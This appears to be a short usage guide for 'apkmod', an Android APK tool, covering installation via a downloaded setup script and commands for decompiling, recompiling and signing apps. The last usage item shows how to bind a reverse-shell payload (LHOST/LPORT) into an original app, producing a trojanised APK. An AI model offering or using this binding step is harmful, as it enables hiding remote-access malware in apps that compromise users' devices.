1. First goto home directory cd $HOME
2. Get the setup script wget https://raw.githubusercontent.com/Hax4us/Apkmod/master/setup.sh
3. Execute the script sh setup.sh
4. Now you can execute command apkmod

1. For decompiling apkmod -d /path/to/inapp.apk -o /path/to/outdirectory. It will decompile inapp.apk into outdirectory folder.
2. For recompiling apkmod -r /path/to/indirectory -o /path/to/outapp.apk. It will recompile indirectory ( where decompiled files are exists ) into outapp.apk.
3. For signing apkmod -s /path/to/unsignedapp.apk -o /path/to/signedapp.apk. It will sign unsignedapp.apk and saves output ( signed app ) to signedapp.apk.
4. For binding apkmod -b /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444. It will bind payload with originalApp.apk and saves final binded app to binded.apk.

Because it has Alpine instead of Ubuntu, kali, parrot or other glibc based distros.